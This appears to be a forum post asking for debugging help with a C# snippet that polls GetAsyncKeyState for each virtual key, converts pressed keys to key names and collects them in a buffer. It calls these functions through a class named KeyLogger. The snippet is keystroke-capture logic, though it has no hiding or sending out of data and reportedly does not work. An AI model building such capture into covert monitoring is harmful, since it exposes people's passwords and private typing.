:) yes,it's kind of my answer ,the code has problem which one of them was mentioned below the code is that MapVirtualKey actually returns a uint, not an int. part of Mycode is as below but it's just show nothing which I couldn't find where the problem is;
//vkey is an arrey of virtualkeycode for example Vkey[1, 35] = 0x5A which is for Z;
const uint MAPVK_VK_TO_VSC_EX = 0x04;
const uint KLF_ACTIVATE = 0x00000001;
textBox2.Text = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
for (int i=0; i<120; i++)
{
if( (KeyLogger.Methods.GetAsyncKeyState(Vkey[1,i])== 1) || (KeyLogger.Methods.GetAsyncKeyState(Vkey[1,i]) == Int16.MinValue))
{
uint temp=KeyLogger.Methods.MapVirtualKeyEx((Convert.ToUInt32(Vkey[1,i])),MAPVK_VK_TO_VSC_EX,KeyLogger.Methods.LoadKeyboardLayout(InputLanguage.CurrentInputLanguage.Culture.KeyboardLayoutId.ToString(),KLF_ACTIVATE));
StringBuilder keyname=new StringBuilder();
int nsize=50;
if (KeyLogger.Methods.GetKeyNameText(Convert.ToInt32(temp),keyname,nsize) !=0)
{
keyBuffer+=keyname.ToString();
}
}
}
if (keyBuffer != string.Empty)
textBox1.Text=keyBuffer;